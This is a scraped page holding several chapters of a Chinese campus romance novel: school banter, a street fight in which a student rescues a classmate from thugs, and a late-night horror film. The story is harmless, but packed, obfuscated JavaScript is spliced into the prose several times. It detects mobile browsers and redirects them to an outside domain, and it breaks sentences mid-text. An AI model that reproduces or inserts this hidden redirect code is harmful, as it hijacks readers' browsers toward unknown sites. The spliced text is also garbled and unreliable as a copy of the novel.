孙雯宁:“你好歹毒。” 周戈:“靠,方妈的课我记得老认真,抄数学题比英语还难。” 严妄趴在桌上,“你们要是饿了,先去吃吧,再帮我带一份。” 怎么会去这么久,难道是又和陆阿姨吵起来了?真是的,一点不让人省心。 “不用不用,等你俩一起。”周戈讲义气道:“我们可是六班最强组合——” “嗳,学霸为什么不在啊?” 严妄不太想说这事儿,毕竟骆危楼自己都没决定,“我哪知道,可能是有什么比赛,要他参加。” 周戈“哦”了两声,被说服了。 严妄趴到桌上,拿着笔胡乱在草稿纸上画。 没两分钟,赵不凡从教室外一阵风似的跑进来。 “靠靠靠,大新闻,我刚才去十班找人,不是要经过年级主任办公室吗?你们猜我听到什么——嗷!谁踩我?”赵不凡惨叫一声,看着面前三人。 严妄:“你嗓门再大一点,整层楼都听得到。” 赵不凡紧张兮兮地往周围看,正好饭点,教室里除了他们几个都去吃饭了。 脖子往前伸,小声说:“我听到果子狸让学神转去实验班。” “什么?” “实验班是哪班?” “在二楼,咱们楼下。” “……班长,你什么时候来的?” “去拿了卷子,正好回来。” 四个人忽然安静下来,齐刷刷看向严妄。 严妄咳了声,心虚地移开视线,抬手摸了摸后脑勺,“今天的头发,挺头发的啊。” “呵,妄崽你撒谎的样子,连三岁小孩都看得穿。”孙雯宁吐槽。 严妄扭着头,盯着黑板报一脸认真。正琢磨要怎么糊弄过去,从围着的缝隙里瞥见骆危楼身影。 眼睛一亮,仿佛看到救星。 骆危楼进教室的第一眼,是周戈他们几个把严妄围在中间,脸上挂着不怀好意的笑。 像拐卖儿童的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025649|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不去吃饭?”骆危楼朝他们走过来,过道被让开,他把校服外套塞进桌肚,弯腰时,看向趴那儿的人,“不舒服?” 严妄摇头,立即跳起来飞快逃离现场,“什么不舒服啊,这不是发挥优良品质,等你一起吃饭,怕你回来太孤单,早饿了。” 骆危楼看向其他人,平时上课都忍不住讲话,现在看天、看地、看门口,然后一个接一个溜出教室。 学校外的麻辣烫店。 骆危楼侧身,让服务员加菜,转回来时,视线转了一圈,回到严妄身上。 抽了双筷子递给严妄,“不转。” 一路上小心翼翼的几个人,长舒一口气。 “严妄,你别担心了,学神还是你的好同桌。” “一生竹马一起走,谁先恋爱谁是狗。” “好羡慕严妄,学神在手,考试你都有。” 孙雯宁听他们三一唱一和,受不了开口,“要不你们去商场中央搭个台,唱一段?” 严妄刚想鼓掌表示赞同,就看孙雯宁朝他看过来。 “别食不下咽了,你哥还是你哥,谁耽误我睡美容觉,全都杀无赦。” 严妄震怒,强烈否认,“谁食不下咽了,我能吃下一头牛。” 骆危楼看严妄不动筷子,“那你碗里的——?” “不爱吃这个。”严妄故意夹回骆危楼碗里,“赶紧吃你的,别管我。” “嗳,这周打球去吗?还是去图书馆待会儿。晚上要不要打游戏?我差一点分能升段了。” 聊起学习外的事,在座的一个比一个精神。 骆危楼从锅里拿出串,又用筷子拨到严妄碗里,偶尔参与一下话题,大多时间只是在吃和投喂。 回学校路上,严妄鞋带松了,正想将就走两步,被骆危楼扯了扯胳膊。 其他人往前走,发现他俩掉队,回过头来。 “我系鞋带。”严妄往路边靠,踩着花坛弯腰,“你们先走。” 骆危楼没走,站在他旁边等他系鞋带,露出了一言难尽的表情。 “看什么看,我这么系跑三千米都不掉。”严妄瞪向骆危楼,“你那个打结办法过时了,现在都这么系。” 骆危楼不发表意见,但好心提醒,“去年三千米,是我给你系的鞋带。” 严妄:“。” “今年我自己来。” 说着用肩膀故意撞开骆危楼,“走了,回教室。” 骆危楼跟上去,“放心了?” 严妄一听,才抚平不久的毛瞬间又炸开,“我什么时候不放心了?我放心得很,你爱去哪去哪,我才不在乎!” 骆危楼看他差点堆到自己面前的脸,往后微微仰了点,伸手按住他肩膀,“嗯,不在乎。” 严妄:“超级不在乎!” “是,超级、特别不在乎。”骆危楼又往后仰了一点。 旁边的人经过,纷纷侧目,露出震惊又不解的表情。 骆危楼直起腰,差点和严妄鼻子撞上,错开一点距离,“不转班了,在六班一直待到毕业。” 严妄哼了声,往前跑去,追上其他人,回头看了他一眼,“不准再提这件事!” 11. 第 11 章 周五午休,大家都在商量周末要去哪,趁着才开学还有时间,能玩则玩。否则等身体和大脑反应过来,玩都玩不痛快。 还有二十多分钟才上课,严妄揉着后脑勺从睡梦中醒来,正准备问骆危楼放学一起回家,还是他要去参加竞赛课。 嘴才张开,周戈“砰”一下放了两杯奶茶在他面前。 “等会儿去打球吗?”周戈兴致勃勃问:“我感觉再不去打两局,我都手生了,还是去打游戏?正好上新地图,我们去新地图大杀四方。” 问完严妄,又去问其他人,“嗳,孙仙儿、老赵,你们去不去?” 孙雯宁拒绝,“不去,这周有约会。” 赵不凡也摇头。 周戈一听,转回头巴巴地看严妄。 严妄拿过吸管,往杯子里一插,递给旁边骆危楼,“快点喝,等会儿上课了。” 骆危楼放下手边的卷子,抿了抿干燥的嘴唇,“知道了,谢谢。” 周戈:“?” 他是透明的吗?还有奶茶难道不是他买的吗? 严妄拿过另一杯,边插吸管边说:“什么新地图?手机不是能玩吗?非得去网吧,果子狸最近又在学校周围的网吧里查人。” “那手机玩吧,反正一样。”周戈不纠结,坐回位置上。 严妄咬着吸管,眼睛往旁边扫过去,手里转了一支笔,“今天放学要去上竞赛课吗?” “不去。”骆危楼把刚才改完错题的卷子,放到严妄桌上,“有事?” 严妄努努嘴,“我是没有什么事,是外婆喊你晚上去家里吃饭,炖了蹄髈,芸豆炖的。” 骆危楼:“那回家我放了书包就上去。” 严妄:“放什么书包,吃完一起写完作业再下楼呗。” 说完严妄反应过来,“阿姨在家吗?” 骆危楼无语地看他,“你怎么不等我跟你回家了再问呢?” 严妄嘴硬,“是你自己说的,陆阿姨这一个月都在家,我哪知道哪天不在,万一给你做了好吃的呢。” 骆危楼发出一声“呵”,“好吃的?你是指吃了我们俩一起肠胃炎进医院那种好吃?” 严妄重重把奶茶放到桌上,指控骆危楼,“我要给陆阿姨告状,你说她做东西难吃。” “大可不必,她自己知道有多难吃。”骆危楼拿笔指了下他面前的卷子,“错题订正,七十分以下抄五遍,下周一交。” 严妄露出一个莫名其妙的表情,低头去看刚才那张卷子。 哦,他的卷子啊。 不对,是他的卷子,那骆危楼刚才在改什么? 严妄拿起卷子,仔细看了一下,自己的字迹旁边,多出了用蓝色笔写的几行字。 每道错题旁边都有,是另一种解题思路。 “连题目一起抄。”骆危楼拎起他那一杯奶茶,两杯一块拿着,去教室外的大垃圾桶扔。 严妄抬起头,视线追随,准备等骆危楼回来的时候,狠狠瞪他。 不到两分钟,骆危楼回来了,但在门口被人拦住。 距离上课只有不到十分钟,六班教室里除了几个从球场、图书馆狂奔回来的人之外,教室几乎都坐满。 大家在看清楚骆危楼对面的人是谁后,不约而同露出吃瓜的表情。 二班班花,闻名校内外的大美女。 和严妄隔了一个过道的周戈一脸好奇,“那不是关欣然吗?严妄我记得你们——” 严妄看一眼门口,低头在骆危楼的笔迹后面花了一个。 “不认识,谁啊?” 周戈一头问号,“不是啊,新生入学表演,你们俩不是见过,而且你还顶替了一会儿男主持,跟她搭档。” “太久,不记得了。”严妄又抬头,看过去,发现骆危楼还在和对方说话。 不是要上课了,哪来的那么多话。 上课预备铃打响时,骆危楼才进教室,进来前还跟对方点了下头,像是约定好什么。 其他人一看骆危楼进来,立即收回八卦的样子,纷纷变得很忙碌。 骆危楼习惯了大家的注目礼,不过对严妄低着头这件事,感到很反常。 难道不该是狠狠地盯着他? 入座后,骆危楼伸手碰了一下严妄胳膊,“错题看完了?” “早看完了。”严妄缩回胳膊,不给他碰,“热不热,别挨着我。” 骆危楼挑眉,正准备说什么,被走进教室的老师打断。 从桌肚里抽出生物书时,他瞥了眼还在戳卷子的严妄,眉头皱了皱。 严妄拿出生物书,翻到之前讲的那一页,又拿着笔开始在字下面戳孔。 骆危楼一边看黑板,一边想,这是在生闷气,心里烦。 - 下午放学,几个人一起往校门口走。 严妄一反常态,一直跟周戈说话,要么是孙雯宁,就是不理骆危楼。 骆危楼接受到孙雯宁询问的眼神,摇了下头,表示不知道。 孙雯宁叹气,心想要不牺牲一下自己的约会时间,今天去打个球、玩会儿游戏,找机会让两人说开。 等周戈和他们分手回家,三个人走到小区门口时,孙雯宁都没想好要怎么改口。 严妄踢一脚路面的树叶,抬头去看骆危楼,正准备叫他,发现他忽然停下来,自己差点撞上去。 “你干嘛,差点——” “骆叔叔?” 小区门口的临时停车位,一辆A8停在那儿,车门刚好在他们走到时打开。 走下来的是骆危楼爸爸,骆一州。 “好不容易回来一趟,一起吃个饭?”骆一州长得高大英俊,哪怕人至中年,毫无半点发福迹象。 他看骆危楼不说话,朝旁边的严妄点了下头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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严妄顺着他视线看去,连忙说:“罗里吧嗦的,我回去了!” 拿着骆危楼书包,发现还挺沉的。 “孙仙儿,走了,回家。” “依依不舍大半天,说完了?” “谁跟他不舍了?!”严妄瞬间破音,“我那是叮嘱,怕他任性。” 孙雯宁翻个白眼,回头正好看见骆危楼上了车。 她问:“我记得他爸不是再婚了吗?” 严妄一个急刹车,“什么?” 孙雯宁一愣,“……大家不是都知道吗?” 严妄睁大眼,震惊地看了孙雯宁好一会儿,然后露出一副很难过的表情。 “不是,你是怎么想的,以为大家都不知道。”孙雯宁拍拍严妄的头,“妄崽,成年人的世界就是这么残酷的。” 严妄无言以对,拎着书包跟在她后面进小区,然后回家。 什么成年人的世界他才不管残不残酷,反正骆危楼还没成年,就不许残酷。 12. 第 12 章 陆舍青和骆一州是九十年代的大学生,可以说是各自圈子里的天之骄子。 自由恋爱,自由婚姻。 刚结婚那两年的确过得挺幸福的,不管谁看了都得说一句金童玉女。 然而随着骆危楼的到来,工作、事业和家庭之间不可避免发生了冲突。 陆舍青其实想过不要这个孩子,最后还是舍不得。 原本幸福美满的一家三口,不知道什么时候起,陆舍青和骆一州吵架的声音越来越大,骆一州出现在家里的时间越来越少。 夫妻俩吵架前,还会把骆危楼送到严家,拜托帮忙照顾。 父母都这样,自以为吵架能瞒得了孩子,实际上孩子都知道。 一直到骆危楼上小学前的暑假,几乎一年没回家的骆一州回来了,和陆舍青办离婚手续。 陆舍青自己也从学校辞职,转行进入了一家贸易公司。 陆舍青事业越来越顺利,在家时间很少,但东西没少往严妄家买。 买给小孩的东西都是两份,骆危楼有的,严妄也有。 从那之后,骆危楼就经常住在严妄家。 - 晚饭后,严妄放下碗,拿上钥匙往门口走,“外婆,我跟同学约好了打球,玩一会儿就回来。” 正在收拾餐桌的江杉听了,“哎”一声,还来不及叫住人,就听到门关上的动静。 “一天天毛毛躁躁的,不知道又去哪疯了。” 杨孟生笑起来,把盘子端进厨房,“半大的男生,正是喜欢玩的时候,不犯错就行。” 江杉念叨,“你就惯着吧。” 已经下楼的严妄,不知道最爱的外公外婆正在对他未来表示担忧,揣着钥匙,一路跑到小区门口,和周戈碰面。 周戈看到他,招了招手,“你怎么突然又出来玩了?不是在手机上玩。” “问那么多?走不走啊你。”严妄揣着手天桥那边走,“你在哪玩不是玩啊?跟我一起委屈你了吗?我还说等会网费我来开,你要不愿意就算了,我自己去。” 周戈追上去,“哎,别别别,我不问了,感谢老板捞我,就冲你这大方的样儿,我一定鞍前马后,你让我往东我绝不往西,保证随叫随到。” 天知道他这次考砸了之后,生活费直接砍半,每天恨不得早起走路去学校,节约点上网费。 严妄不听他瞎扯,熟门熟路地走到天桥对面,过个岔路口,进了另一个小区巷子里的黑网吧。 别说这一片哪有黑网吧了,就是哪台机子难用他都知道。 平时网吧人就多,更别说今天周五了,人满为患,大厅机子几乎全有人了。 网吧老板看到严妄,打了个招呼。 “靠窗那边的卡座有位吗?开两台。”严妄被烟味熏得皱起眉,“要禁烟区的。” 老板痛快地给他俩开了机子,“D区,靠窗的好位置,还能看到外面的马路。” 开完还好心提醒,“离安全门近,好跑。” 严妄说了句“谢了”,又拿了两瓶矿泉水,扫码付钱后丢给周戈一瓶,一边拧一边走过去。 卡座这边比大厅要安静一点,而且烟味淡些。 严妄坐进靠窗的位置,边开机边往外瞥去。这个角度,还能看到他们家小区门口,往来车辆的车牌都看得一清二楚。 周戈开机,直接打开游戏,兴致勃勃问:“吃鸡还是推搭?” “随便吧,都行。”严妄收回视线,拆开桌上的湿巾擦了键盘和鼠标,擦着擦着,眼睛又往窗外瞟去。 周戈“啊”了声,一脸疑惑,“不是你要玩吗?你在看什么啊,外面有人吵架吗?我也看看——” 说着就伸长脖子,企图越过严妄往外看。 严妄转回来,伸手按住跃跃欲试的周戈,“没热闹给你看,坐好。” 看着桌面图标,“吃□□。” 周戈嘿嘿一笑,“说鸡不说——” 话没说完,被严妄在桌子下面踹了一脚。 严妄翻个白眼,“无不无聊,上号,玩到十点我就撤了。” “十点?现在都七点多了,那不就才两个多小时,这晚不了多久啊,玩到决赛圈最多开三局。” “你到底玩不玩?”严妄拿着瓶子喝水,“不玩就睡觉,要不去吃烧烤。” “玩玩玩,这不是在上号么。”周戈点进游戏,邀请了严妄。 游戏里严妄的角色顶着一身黑皮、穿着原始外观,怎么看都跟区第一无关,“新地图,小爷我来了!” 严妄点了接受邀请,没再往外看,拉近人物视角看了看,顺便无视为着自己打拳的周戈。 “你说二班那个关欣然,今天中午是来给学神告白吗?那也太猛了,教室门口告白,不怕被老师发现啊。”周戈点了一个跟随,“跳哪?” 严妄点着鼠标,也不说跳哪,一脸郁闷地盯着电脑屏幕,“什么告白?” “那架势还不算告白啊?他俩不是还在一个竞赛班上课,近水楼台先得月,我看关欣然跟他说话,他不拒绝,还挺乐意。”周戈分析道:“说不定学神也有意思。” 严妄眯起眼,仔细回想中午教室门口的一幕,他两只眼加在一起都看不出骆危楼有意思。 但没意思的话,也不能聊那么久。 “啊啊啊,你怎么跳这里啊,我肯定会被干掉的!”周戈一看地图位置,嚷嚷起来,“严妄,我绝对不会拖你后腿的……” 严妄稳稳落地,直接进了一栋三层的房子,“拖不拖有区别?” 按键盘的手顿了下,“你哪只眼睛看出骆危楼有意思?” “两只眼睛都看到了。”周戈竖起耳朵听动静,“就学神那样,高一进来人鬼不理,要不是我们跟你关系慢慢好了,估计都挨不到学神的边。” 严妄皱眉,“什么意思?骆危楼哪有这么吓人。” 周戈:“不是吓人,就是学神除了你谁都不搭理,还有孙仙儿能聊几句。不是说他脾气差,就是吧,特高冷。” 严妄“啧”了声,骆危楼还高冷呢?分明从小到大都在装酷,为了掩饰他的毒舌。 一开口就能把人毒哑。 “丢在地上的包,你舔舔。”严妄往地上丢了点装备,“有个六倍镜,你拿着。” “这不太好吧……”周戈感动地看一眼严妄,“妄崽,你就是我最铁的哥们,以后哥们发达了,一定报答你。” 严妄笑起来,“你要舔包的动作慢点,我还能信你一句。” 周戈跟在严妄后面,“反正学神看起来对关欣然还挺有耐心的,人长得好看,成绩还好,青春期的少男少女啊——” 严妄脸上笑容瞬间消失,打中对面房子二楼的人,一枪爆头。 “别少男少女了,他不可能早恋。” 周戈疑惑,“啊?” 严妄翻过墙,去对面捡装备,“反正不可能。” 什么近水楼台先得月,歪理。 要这么说,他跟骆危楼不是更近?哦,不对,他俩都男的。 那孙雯宁近得都住一个小区了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025651|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够近了吧? 但人男朋友是隔壁学校的。 - 十点多,严妄和周戈从网吧里出来,身上的烟味和其他味道混在一起,风一吹散掉不少。 周戈看了看公交站牌时间,“末班车收班了,我去坐地铁吧,还好就两个站。” 严妄瞥一眼小区门口,“我送你。” 周戈瞪大眼,“什么?” 严妄嫌弃地看他,抬脚往地铁口走,“我去买烧烤,顺便送你去地铁口。” “吓死我了,我还以为你今天受什么刺激,居然要送我。”周戈跟在他后面,“烧烤我有份吗?” “真爽啊,三把鸡,我能吹一辈子。” 严妄拿着手机,打开聊天页面。 十分钟前,骆危楼给他发了一条信息,说要晚点回来,别等他。 严妄回了一个“谁等你”,骆危楼秒回一个那最好的表情包。 去了地铁口,严妄跟周戈说了声到家发个信息,就往另一条路走去。 才走到进路口,就闻到烧烤味飘来。 严妄拿出手机,看看时间,在打字框里输入半天,还没想好要不要发,对面就先发过来一条信息。 【骆危楼:?】 【严妄:……】 【严妄:你吃不吃刘姨妈烧烤?我送周戈,刚好路过。】 【骆危楼:周戈?】 【严妄:他来借作业。】 【骆危楼:最好是。】 烦人,爱吃不吃。 严妄把手机往口袋里一塞,决定多买几串烤土豆、小肉串,馋死骆危楼。 这一片是另一个老厂区,老小区和自建房混杂,住了不少外地务工的上班族。 但除了这些外,因为房租便宜,还在市区,又有一些无所事事的人在这一片聚集。 偏偏路尽头的山顶上,是三中,学生白天往返挺多,所以又很热闹。 路灯老旧,巷子七拐八弯,再早些年,抢劫、偷盗的事不少。 所以严妄在听到旁边巷子里有动静时,第一反应是有人抢劫。 严妄停在巷子口,往里看了眼,心想是哪个倒霉蛋被小混混缠上了。 不过有了上回的经验,这次他先打电话报了警。 挂断电话,严妄揣好手机,在关门的五金店外面,拿了一根塑料水管往里走。 狭窄、昏暗的巷子里,尽头不是死路,但应该是条小路,周围自建房不知道翻修了几次,最高的都快有七层楼高。 “装什么啊,你爸拿不出钱还,你卖身偿债一样的。” “要不是你看起来还挺漂亮,我们还不答应。” “你天天待学校,住宿舍,想逮到你一回还挺难,要不是这次跟你,还堵不到你。” 三个男生围着一个女生,对方身上还穿着附中校服。 严妄放轻脚步走近,眯起眼借着路灯打量起那几个人。 三男的头发刚好是三原色,穿着短袖小脚裤和一双不知道正版盗版的匡威鞋,裤腰还挂了根链子。 个子不算高,所以他能看见被围住的女生。 “嘭。” 严妄眼睛瞪大,低头看去,一个啤酒瓶倒在脚边,一只老鼠沿着墙根飞快窜进了下水道。 草。 要不要这么倒霉? 严妄抬起头,对上那三个混混看来的视线,心里忍不住升起一句国骂。 然而当他看清被围住的女生是谁后,终于忍不住骂出声。 “草。” 13. 第 13 章 关欣然,二班班花。 难怪他觉得校服眼熟,原来还真的是“熟人”。 红毛盯着严妄,抬手指了指他,“小白脸,别多管闲事,想英雄救美也看看时机。” 旁边蓝毛抱着胳膊,痞里痞气,“滚。” 绿毛笑着朝他走两步,肩膀晃着,“哎,你是他男朋友?你那双鞋得两三千,要不你替她还了钱,我们就放了你们,怎么样?” “你不要听他们的!” 关欣然头发都被扯散,刚一开口,就被红毛推到墙上,露出吃痛的表情。 “哟,看起来还真是认识的,那更不能让你走了,万一你去报警,那多不好。”绿毛一步步朝严妄走,“高中生,有钱人家的高中生,你乖乖听话,别报警,我们——” 严妄往后退了一步,握紧水管低了下头。 “傻逼。” 绿毛一愣,话卡了壳,好几秒后才确定刚才那句“傻逼”是面前低着头这小子说的。 “你他妈——” “别他妈他妈的,你这种人也配有妈?” 严妄抬头,一脚踹在绿毛肚子上,手里水管朝着他肩膀重重一击,硬塑料水管发出“喀嚓”一声。 绿毛往后退了好几步,一手捂肚子一手捂肩膀,靠着墙嗷嗷地叫起来,比野狗叫得还难听。 严妄拎着水管,看向红毛和蓝毛,眼神发狠,“一起上,还是别的?快点,别浪费我时间。” 再晚刘姨妈烧烤收摊了,他上哪去买吃的。 红毛脾气冲,直接拎起地上的旧椅子,大步流星朝严妄走,“一个毛都没长齐的小子,装你妈呢装!” “今天不弄死你,老子跟你姓。” 严妄瞥他一眼,又扫眼蓝毛,抬手照着那颗红毛丹似的脑袋就是一棍。 力道控制得正好,会疼、会晕,但不至于脑震荡。 红毛惨叫一声,抱着脑袋蹲地上。 严妄刚想过去看关欣然怎么样,才走一步,就听到关欣然一声尖叫。 “严妄小心,他有刀!” 严妄反应快,在蓝毛亮出折叠刀之前,就一脚踹在红毛身上,把人踢出去,拦住了蓝毛。 从刚才他就觉得这三个人里,就属蓝毛最阴,幸好有防备。 蓝毛被关欣然揭了底,眼神狠了狠,瞥一眼严妄,返身就朝关欣然大步走去。 关欣然下意识转身想跑,才跑出去一步,就被人拽住头发,狠狠往后一扯。 “拿书包往后砸!” 关欣然听到严妄声音,根本来不及思考,抄起书包往后一扔,抬起手抓住头发,用力一扯,挣开蓝毛的控制。 严妄喊完那一声,随便在墙根拎起不知道是酒瓶还是别的什么,朝蓝毛肩膀砸去。 蓝毛吃痛松了劲,刚好给关欣然逃脱的机会。 严妄几步跑上去,趁机给了蓝毛几闷棍,折叠刀掉在地上,被他一脚踢开。 “跑啊!”严妄把水管往爬起来的红毛身上一扔,越过蓝毛,捡起书包后抓住关欣然手腕朝着巷子口跑。 关欣然眼睛睁圆,跌跌撞撞被严妄拽着跑出巷子,头发全散下来。 直到跑出巷子,严妄还不敢停,朝着大路方向跑。 迎面撞上从警车下来的派出所民警,严妄手撑着膝盖,气喘吁吁的。 “警察叔叔,是我报的警,那、那几个流氓就在后面巷子里,快、快去抓他们。” 来了两个民警,其中一个听完,立即往巷子跑过去,另一个停下,问他俩怎么样。 关欣然想起刚才严妄打的那几下,连忙摇头,“我、我们跑出来了,他们还在那里。” “麻烦你们快去,我怕人跑了。” 民警看他俩没什么事,也不敢耽误,立即追着同事离开。 严妄站起来,看眼关欣然,“先走,这里离巷子太近,先出去再说。” 关欣然“嗯”了声,紧跟在严妄身后走到大路上,朝着亮堂的地方走。 “那个、你没事吧?” 严妄疑惑地发出一声“啊”,转头对上关欣然担心的眼神,摆摆手,“他们连挨都没挨着我,我能有什么事?” 抬手时才发现人家书包还在自己手里,立即递过去,“你书包,看看少东西了吗?有点弄脏了,不好意思啊。” 闻言关欣然笑了一声,拍着书包,“你不好意思什么啊,要不是你路过,我可能就完了。” 她把头发别到耳后,在公交站台站定,“谢谢你,严妄。” “不客气,其实——” 严妄抬手挠头,视线乱飞,忽然看到一个熟悉的身影,身上还穿着校服,眼神定住,“骆危楼!” 骆危楼关车门的动作一顿,顺着声音方向看去,低头跟车里的人说了什么,朝着严妄走来。 站在原地的两人,不约而同地感受到压力,有一瞬间理解了其他年级,还有那些和骆危楼零接触的人的想法。 骆危楼这个人不笑、不说话的时候,再加上一米八出头的身高,看着像冰山。 尤其这会儿他看上去,表情很臭。 “你才回来啊!我——”严妄仿佛看到救星一样,立即走到他旁边,“哎,你不是说晚点?” 这比之前说的也晚不了多少,才半小时而已。 骆危楼看看他,又看向站在那里的关欣然,眉头皱起,“你又干了什么?” “别跟我说,你们在烧烤摊遇见的。” 关欣然一愣,回过神来,“不是,是严妄路过救了我,我被几个社会混混堵在巷子里。” 严妄朝骆危楼挑了挑眉,语气骄傲道:“见义勇为,还是一打三,对方连衣角都没摸到——嗷!骆危楼,你干嘛!” 骆危楼伸手捏着他肩膀,“这叫衣角都没碰到?那碰到了得是什么样?” 严妄:“……” 怒瞪着骆危楼,“你也太小气了,我不就是——” 话说一半自己咽了回去,怕女孩子脸皮薄,说出来让人家不好意思。 关欣然看他俩互呛,一头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025652|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雾水,又有点着急,“要不要去附近的诊所看看,药费我可以出。” 严妄摇头,拍开骆危楼的手,“不用,我就是跑的时候在电线杆上撞了下。” 太急,巷子里又黑,他才不小心碰到电线杆。 骆危楼瞥他一眼,把手里拎着的塑料袋递给严妄,“拿着。” 严妄下意识接过来,“什么东西?” 骆危楼:“喂猪的。” 严妄:“……” 如果不是在大街上,他一定要跟骆危楼拼了! 不就是见义勇为,英雄救美了一下,就算是好感对象,用得着这么小气吗? 太小心眼了,他又不会横刀夺爱。 关欣然看他俩不是真的吵架,才放心下来,“严妄你真的不用去诊所看看吗?” 严妄正悄悄打开塑料袋,想看是什么吃的,被这么一问,咳了声,“不用不用,回去拿药酒揉一揉就行。” 心虚地捏着袋口,“那个,你打算去哪?回学校宿舍么。” “嗯,回学校宿舍,下周再跟老师申请周末也住校。”关欣然低了下头,头发散开,挡住了脸颊。 不过很快又抬起来,“放心,学校有保安,他们不敢闯进来的。” “哦哦,那就好。”严妄看了眼骆危楼,手肘悄悄撞了他一下,“嗳。” 骆危楼打量着他,被他一撞,眉头皱得更紧,“好好说话。” 严妄无语,干脆直接问关欣然,“学校离着不远,我们送你过去,就当散步了。” 从这里去学校,走路十多分钟。 再回小区,还是十分钟。 关欣然正要拒绝,就看到骆危楼点了下头,只好答应。 骆危楼确定严妄身上没其他伤,放下心,“走吧,我们送你。” 严妄一心都在手里袋子上,压根注意不到关欣然时不时瞥来的眼神,和提起的话题。 反倒是悄悄问骆危楼,一会儿要去他家还是去自家。 等把关欣然送回学校,严妄才想起来,他们不是散步,是送人,连忙跟关欣然挥手道别。 看着人走进去,严妄终于打开袋口,“骆危楼,你还想吃烧烤吗?要不——” “酸奶泡芙啊。” 骆危楼“嗯”了声,神色柔和许多,“吃饭那家店正好有,现做打包的。” 严妄转头看他,“你真好,去哪儿都惦记给我带吃的。” 想到自己微信说的烧烤,难免不好意思,“要不我们再去买烧烤?” 骆危楼笑起来,抬手捏他后颈,“不去,回家睡觉。” 严妄一听,“回我家?” 尾音明显上扬,带着高兴。 骆危楼对上他明亮的眼神,眸色暗了暗,点头,“主要是蹭外公外婆做的饭,顺便蹭你的房间。” 严妄:“嘁。” “一个人在家害怕就直说,我又不会笑话你,我的床永远向你敞开。” 骆危楼表情僵住,看着往前的严妄,无声叹气。 14. 第 14 章 第二天是周六,不用早睡早起。 严妄多少放肆了点,完全没有身为一个高三生的自觉。近十一点才玩完回家不说,还换了睡衣,拉着骆危楼跟他一起看吃夜宵看电影。 看了一会儿嫌房间里热,又去冰箱拿了西瓜和饮料,配他的酸奶泡芙。 骆危楼对电影兴致缺缺,不过对严妄的反应很感兴趣。 他不太明白,怎么有人怕鬼,还喜欢看恐怖片,还选日韩、东南亚类型的。 骆危楼分神,看了一眼窗户。 不知道什么时候,外面又飘起了小雨,半开的窗户吹进一阵凉风,比之前在外面还要冷一些。 放下盘着的腿,骆危楼从椅子里站起来,伸手去关窗户,手肘正好带到椅背,椅子腿跟地面发出一声动静。 关上窗户的瞬间,余光扫到吓一跳还硬撑的严妄。 “这么吹,你晚上又要头疼。” “……那你说一声再去关啊,给我吓一跳。” 骆危楼看眼平板,“怕还看。” 顺道伸手把西瓜挪开,“还吃?你胃还要不要?” 屡教不改。 每次冰的、甜的、辣的和油的一起吃,吃完肚子又容易不舒服。 严妄转头瞪他,“我这叫有参与感,以为谁都跟你一样,去鬼屋都能让NPC怀疑职业生涯规划。” 说归说,但身体很诚实地下床去刷牙,防止再吃东西。 没几分钟,人就回来了。 额前的头发也打湿了一些,洗脸弄到的。 “错过精彩剧情了。”骆危楼坐回椅子上,拿出手机,点进陆舍青半个小时前发来的消息。 手指在键盘打着字,瞥了一眼严妄,“特别精彩。” 严妄迅速趴到床上,伸手去拿平板,不搭理骆危楼。 一边拉进度条一边在心里想,他这是为了谁啊? 要不是因为骆危楼见了骆一州不高兴,他早该吃完西瓜、泡芙就进入梦乡了好吗! 手指在屏幕戳出节奏感,嗒嗒嗒的,一不小心划得太多,正好卡在电影里的怨鬼大特写。 严妄心一抖,直接把平板扔出去,直接国骂,“草!” 骆危楼打字动作一顿,飞快打完最后两个字,发出去后,手机直接倒扣在书桌。 他走上前,拿起扔出去的平板,关上也放到书桌。 “提醒你,现在是午夜十二点半,你该睡觉了。” 严妄不自在地咽了咽,别开脸,“我还没看完。” 骆危楼掀开被子,顺道把被子上的严妄也掀起来,“我有一点困了。” 严妄立即转回来,“你看你,才多大的年纪,就熬不住了,年轻人不行啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 